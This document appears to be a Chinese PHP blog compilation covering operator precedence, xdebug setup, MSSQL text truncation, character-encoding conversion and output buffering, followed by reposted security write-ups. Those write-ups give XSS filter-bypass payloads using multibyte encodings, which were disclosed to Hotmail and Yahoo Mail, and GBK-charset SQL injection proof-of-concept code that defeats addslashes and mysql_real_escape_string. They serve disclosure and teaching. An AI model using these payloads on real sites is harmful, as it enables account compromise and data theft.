php与asp/vbscript对input表单数组的处理比较

php与asp/vbscript对input表单数组的处理比较

arrayform

啥也不用说,自己运行吧,很简单的几个小文件。

本站www.path8.net是linux主机,不能运行asp,不然倒可以在线运行代码了 ^=^

结论是,php比asp/vbs更合理,更先进,不要犹豫了,全面转战php吧!

——谨以此献给有志从asp转php、有志向自由软件(也包括开源软件)贡献一份力的同学们。

 

php 运算符优先级:算术运算与字符连接运算同级

$sql="delete from `log_view` where `dz_uid`={$dz_uid} and `time`>".$today_unixtime-86400;

$sql="delete from `log_view` where `dz_uid`={$dz_uid} and `time`>".($today_unixtime-86400);

这两个语句的结果是完全不一样的。

手册时说:"左联表示表达式从左向右求值,右联相反",差点杯具了~~

------------php手册里的原话------------------------

下表从高到低列出了运算符的优先级。同一行中的运算符具有相同优先级,此时它们的结合方向决定求值顺序。

表格 15-1. 运算符优先级

结合方向 运算符 附加信息
非结合 new new
[ array()
非结合 ++ -- 递增/递减运算符
非结合 ! ~ - (int) (float) (string) (array) (object) @ 类型
* / % 算数运算符
+ - . 算数运算符和字符串运算符
<< >> 位运算符
非结合 < <= > >= 比较运算符
非结合 == != === !== 比较运算符
& 位运算符和引用
^ 位运算符
| 位运算符
&& 逻辑运算符
|| 逻辑运算符
? : 三元运算符
= += -= *= /= .= %= &= |= ^= <<= >>= 赋值运算符
and 逻辑运算符
xor 逻辑运算符
or 逻辑运算符
, 多处用到

左联表示表达式从左向右求值,右联相反。

fedora linux apache/php下安装配置xdebug

核心内容:

在fedora13下从源码编译安装xdebug; 如果仅仅需要在linux/fedora13,14下安装xdebug,请参看本文,直接下载二进制文件并安装使用 fedora linux下php调试利器xdebug 2.1.0下载/fedora13,14测试通过

环境:fedora13 apache2.2 php5.3.1

首先从xdebug官方网站下载得xdebug最新稳定版的源码,解压缩,查看其中的README文档。

文档里说得很清楚,需要有phpize与php-config,apache与php都是通过fedora yum安装的,通过whereis 命令查找,及在php目录里都没有找到这样的两个文件,于是yum provides */phpize

[root@fsc xdebug-2.1.0]# yum provides */phpize
已加载插件:presto, refresh-packagekit
php-devel-5.3.1-3.fc13.i686 : Files needed for building PHP extensions
Repo        : fedora
匹配来自于:
Filename    : /usr/bin/phpize

php-devel-5.3.3-1.fc13.i686 : Files needed for building PHP extensions
Repo        : updates
匹配来自于:
Filename    : /usr/bin/phpize

phpize就在包php-devel-5.3.1-3.fc13.i686里(同样方式查询yum provides */php-config,也在php-devel包里),yum安装php-devel就可以了,如下

yum install php-devel

参考xdebug的README,进入解压缩后的xdebug目录里,执行phpize,看到几行信息输出;

下一步,

./configure --enable-xdebug

运行正常,next ,就是最常见的make

make

花费时间长一点,好几分钟,让它自己编译,干点别的。完成后看make输出的最后一行说什么donot forget run 'make test'(本文是根据回忆写的,可能有不准确之处),运行一下,好像有警告信息,不管它,官方文档里没有这一步,可能只是为了检查运行完全正确,忽略它。

下一步复制xdebug.so到php扩展目录。先要查看php的扩展模块在哪个目录里,我使用一个简单的php程序<?php phpinfo();?>查看配置信息,

得知是/usr/lib/php/modules目录,

[root@fsc xdebug-2.1.0]# cp modules/xdebug.so /usr/lib/php/modules/

建一个文件/etc/php.d/xdebug.ini内容如下

zend_extension=/usr/lib/php/modules/xdebug.so
[Xdebug]
xdebug.profiler_enable=on
/etc/php.d/xdebug.ini

(这部分也完全可以放到php.ini文件里,放到php.d目录里,是为了配置文件相互独立,管理方便)

安装完毕,优雅重启apache

[root@fsc xdebug-2.1.0]# /etc/init.d/httpd graceful

再运行phpinfo,其中有如下部分

xdebug加载运行正常。

php错误消息显示默认是以text文本形式显示的,xdebug显示调试信息时,信息量一般都比较大,最好打开php的html_errors,这样可以显示更友好的调试信息。可以在/etc/php.d/xdebug.ini里面加入下面一行

html_errors=on

当然也可以加入到php.ini文件里。

[附] xdebug 2.1.0 源码里的README文档摘选

--------------------README 文档节选-----------------------------------------------------------------

XDEBUG

------

You need to compile Xdebug separately from the rest of PHP.  Note, however,
that you need access to the scripts "phpize" and "php-config".  If your
system does not have "phpize" and "php-config", you will need to compile
and install PHP from a source tarball first, as these script are
by-products of the PHP compilation and installation processes. It is
important that the source version matches the installed version as there
are slight, but important, differences between PHP versions.

Once you have access to "phpize" and "php-config", do the following:

1. Unpack the tarball: tar -xzf xdebug-2.1.x.tgz.  Note that you do
not need to unpack the tarball inside the PHP source code tree.
Xdebug is compiled separately, all by itself, as stated above.

2. cd xdebug-2.1.x

3. Run phpize: phpize
(or /path/to/phpize if phpize is not in your path).

4. ./configure --enable-xdebug (or: ../configure --enable-xdebug
--with-php-config=/path/to/php-config if php-config is not in your
path)

5. Run: make

6. cp modules/xdebug.so /to/wherever/you/want/it

7. add the following line to php.ini:
zend_extension="/wherever/you/put/it/xdebug.so"

8. Restart your webserver.

9. Write a PHP page that calls "phpinfo();" Load it in a browser and
look for the info on the xdebug module.  If you see it, you have been
successful!

--------------------END of README 文档节选-----------------------------------------------------------------

PHP+MSSQL TEXT字段被截断的解决方案

在连接mssql 数据库前,先执行如下php代码,对mssql库的textlimit进行运行时改变设置。

ini_set('mssql.textlimit',4294967296);
ini_set('mssql.textsize',4294967296);

4294967296=65536^2  ,对于大多数情况,这个长度已经足够用了;如果text字段最大长度比4294967296还大,那就自己把这个值改得更大一点.

可以通过php函数 phpinfo() 查看是否修改成功。

修改前phpinfo()结果中mssql节如下

------------xx----------xx------------xx-------------xx------------xx----------xx--------

以下内容转自 http://blog.csdn.net/ice1976/archive/2008/10/30/3185987.aspx ,供参考

/*
* 版权归PHPSalon.com所有
*
* Author: Wenlong Wu
*/

在CSDN的PHP版里老是看到有人问TEXT字段被截断的问题,偶也回答了无数次,今天索性就总结一下吧:

一、针对MS SQL SERVER数据库

有两种解决方案,如下:

* 修改php.ini来实现:

打开php.ini,可看到mssql.textsize,mssql.textlimit两个选项:

; Valid range 0 - 2147483647. Default = 4096.

;mssql.textlimit = 4096

; Valid range 0 - 2147483647. Default = 4096.
;mssql.textsize = 4096

可以看到默认配置为4096字节,也就是经常碰到的被截断为4K,将之改为合适的大小,去掉前面的分号,然后保存并重起WEB服务器即可。

从上面两个选项可看到范围为:0 - 2147483647字节,其实-1也可以的,查看一下PHP源代码即可发现-1表示无限制 :)

if (MS_SQL_G(textlimit) != -1) {
sprintf(buffer, "%li", MS_SQL_G(textlimit));
if (DBSETOPT(mssql.link, DBTEXTLIMIT, buffer)==FAIL) {
efree(hashed_details);
dbfreelogin(mssql.login);
RETURN_FALSE;
}
}
if (MS_SQL_G(textsize) != -1) {
sprintf(buffer, "SET TEXTSIZE %li", MS_SQL_G(textsize));
dbcmd(mssql.link, buffer);
dbsqlexec(mssql.link);
dbresults(mssql.link);
}

* 在PHP中查询之前执行SET TEXTSIZE 合适的大小:

只需在SELECT之前执行

mssql_query("SET TEXTSIZE 65536");

从上面PHP源代码中可看到其实也是执行SET TEXTSIZE的 :)

二、针对Sybase数据库

由于该扩展在php.ini没有像SQL SERVER那样的选项可配置,所以只有采用上面的第二种方法,即:

在SELECT之前执行

sybase_query("SET TEXTSIZE 65536");

9月24日补充:
有不少朋友可能也碰到过使用varchar类型的字段时,只返回256个字符的问题。
其实这也不是PHP的BUG,而是微软提供的客户端即library限制了而已。
弥补方法是转为TEXT字段,或者采用SQL转,如下:
SELECT CAST(myfield AS TEXT) AS myfield FROM table

 

php使用iconv进行从utf-8转为gb2312字符编码出错解决方案

[1601004注]这篇文章没啥价值,请读者参考php官方手册吧,官方有中译本

在php函数库有一个函数:iconv()

把gb2312置换成utf-8

$text=iconv("GB2312","UTF-8",$text);

在用$text=iconv("UTF-8","GB2312",$text)过程中,如果遇到一些特别字符时,如:"—",英文名中的"."等等字符,转换就断掉了。这些字符后的文字都没法继续转换了。

针对这的问题,可以用如下代码实现

$text=iconv("UTF-8","GBK",$text);

你没有看错,就这么简单,不使用gb2312,而写成GBK,就可以了。

还有一种方法:

第二个参数,加上//IGNORE,忽略错误,如下:

iconv("UTF-8","GB2312//IGNORE",$data);

没有具体比较这两种方法,感觉第一种(GBK代替gb2312)方法更好.

php手册中iconv() 说明

iconv

(PHP 4 >= 4.0.5, PHP 5)

iconv -- Convert string to requested character encoding

Description

string iconv ( string in_charset, string out_charset, string str )

Performs a character set conversion on the string str from in_charset to out_charset. Returns the converted string or FALSE on failure.

If you append the string //TRANSLIT to out_charset transliteration is activated. This means that when a character can't be represented in the target charset, it can be approximated through one or several similarly looking characters. If you append the string //IGNORE, characters that cannot be represented in the target charset are silently discarded. Otherwise, str is cut from the first illegal character.

例子 1. iconv() example:

<?php
echo iconv("ISO-8859-1", "UTF-8", "This is a test.");
?>

string iconv ( string $in_charset , string $out_charset , string $str )

在使用这个函数进行字符串编码转换时,需要注意,如果将utf-8转换为gb2312时,可能会出现字符串被截断的情况发生。

此时可以使用以下方法解决:

//author:zhxia
$str=iconv('utf-8',"gb2312//TRANSLIT",file_get_contents($filepath));

即在第二个参数出添加红色字部分,表示:如果在目标编码中找不到与源编码相匹配的字符,会选择相似的字符进行转换。

此处也可以使用://IGNORE 这个参数,表示忽略不能转换的字符。

linux下PHP 激活mbstring扩展及php.ini中相关基本设置

从源码编译安装php,重新编译php,configure参数中加入 --enable-mbstring,如下所示,

./configure --prefix=/usr/local/php --with-mysql=/usr/local/mysql\
 --with-apxs=/usr/local/apache/bin/apxs  --with-config-file-path=/usr/local/apache/conf --enable-mbstring

[注] 其它configure参数按你的php相关路径进行配置

redhat/centOS/fedora系列使用yum在线安装

sudo yum install php-mbstring
sudo /sbin/service httpd restart

Mac下可以如下进行

sudo port install php5-mbstring
apachectl restart

php程序中的编码转换

在php中解决字符编码转换,可以编写自定义的php函数进行字符编码解码,但是对性能有一定影响,并且要针对每种字符编码编写专用的函数; 这里介绍在php中有简便易用的专用函数:

1.使用iconv函数转换字符编码,该函数仅能在PHP4.0.5以上版本或PHP5.x版本使用,具体用法如下:

$string=iconv(原字符编码, 字符输出编码, $string);

例如:网页使用gbk编码,字符串使用utf-8编码,将字符转换为网页显示编码。

echo iconv("uft-8", "gbk", "php编码转换");

在实际使用中,iconv函数在转换时存在一点小bug,在转换字符串中含有"—"时会出错,导致字符串无法转换,使用//IGNORE参数可以忽略转换中的字符错误,样例如下:

echo iconv("uft-8", "gbk//IGNORE", "php编码转换");

2.使用mb_convert_encoding函数,该函数仅能在PHP4.0.6以上版本或PHP5.x版本使用,使用之前必须enable mbstring,具体用法如下:

$string=mb_convert_encoding($string, 字符输出编码, 原字符编码);

例如:网页使用gbk编码,字符串使用utf-8编码,将字符转换为网页显示编码。

echo mb_convert_encoding("php编码转换", "gbk", "utf-8");

windows下mbstring安装配置请参看这里 windows下PHP 激活mbstring扩展及php.ini中相关基本设置

总结:推荐使用mb_convert_encoding函数,该函数无iconv转换字符错误问题。

PHP缓冲机制:缓冲控制,压缩http响应数据,缓冲 PHP输出

动态网站的内容加速显示十分重要,本文通过对 PHP 几个函数的深入讨论,提出了 PHP 网页压缩和缓冲的解决方案

一、介绍几个控制 PHP 输出的函数

PHP采用了缓冲机制,在你决定发送以前,所有内容只是存在于缓冲中,而不是直接发送给浏览器,虽然你可以用 header 和 setcookie 函数来实现,但是这两个函数相比于功能强大的输出函数来说只是一点“雕虫小技”。让我们来看看这些函数的真本事:

void ob_start(void);

本函数告诉 PHP 处理器把所有输出重定向到内部缓冲,调用这个函数后,就不会有输出到浏览器。

string ob_get_contents(void);

本函数把输出缓冲返回到一个字符串,你可以用来把堆积起来的输出一起发送到浏览器。当然要先关掉缓冲。

int ob_get_length(void);

本函数返回输出缓冲的长度。

void ob_end_clean(void);

本函数清除并关闭缓冲。在输出到浏览器之前你需要使用这个函数。

void ob_implicit_flush ([int flag])

本函数用来控制隐式缓冲泻出,缺省为 off,如果打开时,对每个 print/echo 或者输出命令的结果都发送到浏览器。

二、采用输出控制来压缩 PHP 的输出

在开始之前,要保证你的 PHP4 编译时支持 Zlib。
首先,初始化输出缓冲:

ob_start();
ob_implicit_flush(0);
?>

然后产生所有的输出内容。

print(”本例为压缩输出!”);
?>
页面生成以后,采用:

$contents = ob_get_contents();
ob_end_clean();
?>

还要检查浏览器是否支持压缩数据,我们采用在变量 $HTTP_ACCEPT_ENCODING 中检查 “gzip, deflate”的办法:

if(ereg(’gzip, deflate’,$HTTP_ACCEPT_ENCODING)) {
// 产生 gzip 后的内容
} else {
echo $contents;
}
?>

下面我们分析怎样产生 gzip 输出:

// 告诉浏览器下面接收的是 gzip 数据。
header(”Content-Encoding: gzip”);
// 显示 gzip 文件的文件头
// 只要一次就够了
echo “x1fx8bx08×00x00×00x00×00″;
// 计算长度和 CRC 校验码
$Size = strlen($contents);
$Crc = crc32($contents);
// 压缩数据
$contents = gzcompress($contents, 9);
// 不能直接在这里输出内容,因为还没有写入 CRC 呢!
$contents = substr($contents, 0, strlen($contents) – 4);
echo $contents;
gzip_PrintFourChars($Crc);
gzip_PrintFourChars($Size);
function gzip_PrintFourChars($Val) {
for ($i = 0; $i < 4; $i ++) { echo chr($Val % 256); $Val = floor($Val / 256); } } ?>

三、缓冲 PHP 的输出

在 PHP里能很容易的实现缓冲,我们来看例子:

// 对请求的 URI 产生唯一的文件名。
$cached_file=md5($REQUEST_URI);
if((!file_exists(”/cache/$cached_file”))||(!is_valid(”/cache/$cached_file”))) {
ob_start();
ob_implicit_flush(0);
// 在这里输出缓冲
$contents = ob_get_contents();
ob_end_clean();
$fil=fopen($cached_file,”w+”);
fwrite($fil,$contents,$strlen($contents));
fclose($fil);
}

readfile($cached_file);
?>

四、结论

PHP 输出缓冲函数在操作脚本输出方面十分有用,把缓冲压缩后输出能减少 80% 的输出时间,这对于存取其他数据资源(例如数据库或者 XML)来说,也是一个很好的缓冲机制。

Bypassing script filters with variable-width encodings

Author: Cheng Peng Su (applesoup_at_gmail.com)
Date: August 7, 2006

We've all known that the main problem of constructing XSS attacks is
how to obfuscate malicious code. In the following paragraphs I will

attempt to explain the concept of bypassing script filters with
variable-width encodings, and disclose the applications of this
concept to

Hotmail and Yahoo! Mail web-based mail services.

Variable-width encoding Introduction
====================================

A variable-width encoding(a.k.a variable-length encoding) is a type of
character encoding scheme in which codes of differing lengths are

used to encode a character set. Most common variable-width encodings
are multibyte encodings, which use varying numbers of bytes to encode

different characters. The first use of multibyte encodings was for the
encoding of Chinese, Japanese and Korean, which have large character

sets well in excess of 256 characters. The Unicode standard has two
variable-width encodings: UTF-8 and UTF-16. The most commonly-used

codes are two-byte codes. The EUC-CN form of GB2312, plus EUC-JP and
EUC-KR, are examples of such two-byte EUC codes. And there are also

some three-byte and four-byte codes.

Example and Discussion
======================

The following is a php file from which I will start to introduce my idea.

------------------------------example.php--------------------------------

<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>
<?

for($i=0;$i<256;$i++){
echo "Char $i is <font face=\"xyz".chr($i)."\">not </font>"
."<font face=\" onmouseover=alert($i) notexist=".chr($i)."\"     >"
// NOTE: 5 space characters following the last \"
."available</font>\r\n\r\n<br>\r\n\r\n";
}

?>
</body>
</html>

-------------------------------------------------------------------------

For most values of $i, Internet Explorer 6.0(SP2) will display "Char
XXX is not available". When $i is between 192(0xC0) and 255(0xFF), you

can see "Char XXX is available". Let's take $i=0xC0 for example,
consider the following code:

Char 192 is <font face="xyz[0xC0]">not </font><font face="
onmouseover=alert(192) s=[0xC0]"     >available</font>

0xC0 is one of the 32 first bytes of 2-byte sequences (0xC0-0xDF) in
UTF-8. So when IE parses the above code, it will consider 0xC0 and the

following quote as a sequence, and therefore these two pairs of FONT
elements will become one with "xyz[0xC0]">not </font><font face=" as

the value of FACE parameter. The second 0xC0 will start another 2-byte
sequence as a value of NOTEXIST parameter which is not quoted. Due

to a space character following by the quote, 0xE0-0xEF which are first
bytes of 3-byte sequences, together with the following quote and one

space character will be considered as the value of NOTEXIST parameter.
And each of the first bytes of 4-byte sequences(0xF0-0xF7), 5-byte

sequences(0xF8-0xFB), 6-byte sequences(0xFC-0xFD), together with the
following quote and space characters will be considered as one

sequence.

Here are the results of the above code parsed by Internet Explorer
6.0(SP2), Firefox 1.5.0.6 and Opera 9.0.1 in different variable-width

encodings respectively. Note that the numbers in the table are the
ranges of "available" characters.

+-----------+-----------+-----------+-----------+
|           | IE        | FF        | OP        |
+-----------+-----------+-----------+-----------+
| UTF-8     | 0xC0-0xFF | none      | none      |
+-----------+-----------+-----------+-----------+
| GB2312    | 0x81-0xFE | none      | 0x81-0xFE |
+-----------+-----------+-----------+-----------+
| GB18030   | none      | none      | 0x81-0xFE |
+-----------+-----------+-----------+-----------+
| BIG5      | 0x81-0xFE | none      | 0x81-0xFE |
+-----------+-----------+-----------+-----------+
| EUC-KR    | 0x81-0xFE | none      | 0x81-0xFE |
+-----------+-----------+-----------+-----------+
| EUC-JP    | 0x81-0x8D | 0x8F      | 0x8E      |
|           | 0x8F-0x9F |           | 0x8F      |
|           | 0xA1-0xFE |           | 0xA1-0xFE |
+-----------+-----------+-----------+-----------+
| SHIFT_JIS | 0x81-0x9F | 0x81-0x9F | 0x81-0x9F |
|           | 0xE0-0xFC | 0xE0-0xFC | 0xE0-0xFC |
+-----------+-----------+-----------+-----------+

Application
===========

I don't think there is a typical exploitation of bypassing script
filters with variable-width encodings, because the exploitation is
very

flexible. But you just need to remember that if the webapp use
variable-width encodings, you can bury some characters following by
your

entry, and the buried characters might be very crucial.

The above code might be exploited in general webapps which allow you
to add formatting to your entry in the same way as HTML does. For

example, in some forums, [font=Courier New]message[/font] in your
message will be transformed into <font face="Courier
New">message</font>.

Supposing it use UTF-8, we can attack by sending

[font=xyz[0xC0]]buried[/font][font=abc onmouseover=alert()
s=[0xC0]]exploited[/font]

And it will be tranformed into

<font face="xyz[0xC0]">buried</font><font face="abc
onmouseover=alert() s=[0xC0]">exploited</font>

Again, the exploitation is very flexible, this FONT-FONT example is
just an enlightening one. The following exploitaion to Yahoo! Mail is

quite different from this one.

Disclosure
==========

Using this method, I have found two XSS vulnerabilities in Hotmail and
Yahoo! Mail web-based mail services. I informed Yahoo and Microsoft

on April 30 and May 12 respectively. And they have patched the vulnerabilities.

Yahoo! Mail XSS
---------------

Before I discovered this vulnerability, Yahoo! Mail filtering engine
could block "expression()" syntax in a CSS attribute using a comment

to break up expression( expr/* */ession() ). I used [0x81] with the
following asterisk to make a sequence, so that the second */ would

close the comment. But the filtering engine considered the first two
comment symbol as a pair.

--------------------------------------------------------------------
MIME-Version: 1.0
From: user<user@site.com>
Content-Type: text/html; charset=GB2312
Subject: example

<span style='width:expr/*[0x81]*/*/ession(alert())'>exploited</span>
.
--------------------------------------------------------------------

Hotmail XSS
-----------

This exploitation is almost the same as the example.php.

--------------------------------------------------------------------
MIME-Version: 1.0
From: user<user@site.com>
Content-Type: text/html; charset=SHIFT_JIS
Subject: example

<font face="[0x81]"></font><font face=" onmouseover=alert()
s=[0x81]">exploited</font>
.
--------------------------------------------------------------------

Reference
=========

Wikipedia:Variable-width
encoding(http://en.wikipedia.org/wiki/Variable-width_encoding)
RFC 3629, the UTF-8 standard(http://tools.ietf.org/html/rfc3629)
RSnake:XSS Cheat Sheet(http://ha.ckers.org/xss.html)

( Original text: http://applesoup.googlepages.com/bypass_filter.txt )

PHP字符编码绕过漏洞总结

其实这东西国内少数黑客早已知道,只不过没有共享公布而已。有些人是不愿共享,宁愿烂在地里,另外的一些则是用来牟利。
该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时,0xbf27本身不是一个有效的GBK字符,但经过 addslashes() 转换后变为0xbf5c27,前面的0xbf5c是个有效的GBK字符,所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理,结果漏洞 就触发了。

mysql_real_escape_string() 也存在相同的问题,只不过相比 addslashes() 它考虑到了用什么字符集来处理,因此可以用相应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。

方法一:

改变mysql配置文件my.cnf
[client]
default-character-set=GBK
方法二:
在建立连接时使用
CODE:
SET CHARACTER SET 'GBK'
例:mysql_query("SET CHARACTER SET 'gbk'", $c);
问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞
下面是来自http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码
<?php

$c = mysql_connect("localhost", "user", "pass");
mysql_select_db("database", $c);

// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);

// create demo table
mysql_query("CREATE TABLE users (
username VARCHAR(32) PRIMARY KEY,
password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);

// now the exploit code
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
$_POST['password'] = 'anything';

// Proper escaping, we should be safe, right?
$user = mysql_real_escape_string($_POST['username'], $c);
$passwd = mysql_real_escape_string($_POST['password'], $c);

$sql = "SELECT * FROM  users WHERE  username = '{$user}' AND password = '{$passwd}'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?>
纵观以上两种触发漏洞的关键是addslashes() 在Mysql配置为GBK时就可以触发漏洞,而mysql_real_escape_string() 是在不知道字符集的情况下用默认字符集处理产生漏洞的。
下面再来分析下国内最近漏洞产生的原因。
问题出现在一些字符转换函数上,例如mb_convert_encoding()和iconv()等。
发布在80sec上的说明说0xc127等一些字符再被addslashes() 处理成0xc15c27后,又经过一些字符转换函数变为0×808027,而使得经过addslashes() 加上的"\"失效,这样单引号就又发挥作用了。这就造成了字符注入漏洞。
根据80sec的说明,iconv()没有该问题,但经我用0xbf27测试
$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');
$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);
$id3=iconv('gbk', 'utf-8', $_GET['id']);
这些在GPC开启的情况下还是会产生字符注入漏洞,测试代码如下:
<?php

$c = mysql_connect("localhost", "user", "pass");
mysql_select_db("database", $c);

// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);

// create demo table
mysql_query("CREATE TABLE users (
username VARCHAR(32) PRIMARY KEY,
password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);

// now the exploit code
//$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');
$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);
//$id3=iconv('gbk', 'utf-8', $_GET['id']);

$sql = "SELECT * FROM  users WHERE  username = '{$id2}' AND password = 'password'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?>
测试情况 http://www.safe3.cn/test.php?id=%bf%27 OR username = username /*

后记,这里不光是%bf,其它许多字符也可以造成同样漏洞,大家可以自己做个测试的查下,这里有zwell文章提到的一个分析http://hackme.ntobjectives.com/sql_inject/login_addslashes.php 。编码的问题在xss中也有利用价值,详情请看我早期转载的一篇文章Bypassing script filters with variable-width encodings [注,已被转到本站]

from http://huaidan.org/archives/2268.html